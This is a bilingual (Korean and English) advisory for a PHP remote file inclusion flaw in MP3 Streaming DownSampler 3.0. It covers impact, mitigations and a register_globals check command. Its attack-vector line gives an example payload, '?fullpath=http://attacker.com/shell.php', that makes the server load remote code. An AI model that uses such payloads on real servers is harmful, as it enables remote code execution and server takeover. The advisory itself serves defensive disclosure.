🇰🇷 한글 설명
MP3 Streaming DownSampler 3.0에서 Core/core.inc.php의 fullpath 파라미터에 대한 입력 검증 부족으로 발생하는 PHP 원격 파일 포함(RFI) 취약점입니다. register_globals가 활성화된 환경에서 공격자가 임의의 원격 PHP 파일을 포함시켜 서버에서 실행할 수 있습니다.
💡 쉬운 설명
앱이 사용자 입력으로 받은 파일 경로를 제대로 확인하지 않아서, 공격자가 인터넷의 다른 곳에 있는 악의적인 PHP 파일을 실행하도록 만들 수 있습니다. 이를 통해 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion in Core/core.inc.php in MP3 Streaming DownSampler (mp3SDS) 3.0, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via the fullpath parameter
📍 영향받는 시스템
MP3 Streaming DownSampler (mp3SDS) 버전 3.0, PHP register_globals 활성화 환경
⚔️ 공격 벡터
HTTP 요청의 fullpath 파라미터에 원격 악성 파일 URL을 주입하여 RFI 유발 (예: ?fullpath=http://attacker.com/shell.php)
🛡️ 대응 방법
mp3SDS 업그레이드, PHP.ini에서 register_globals=Off 설정, 입력값 검증 및 필터링 강화, 화이트리스트 기반 경로 제한
🔧 검증 코드
ENABLED이면 취약 상태(register_globals 활성화), DISABLED면 안전 상태입니다. 실제 mp3SDS 설치 확인은 설치 경로의 파일 버전 검사 필요.
php -r "echo (ini_get('register_globals') ? 'ENABLED' : 'DISABLED');"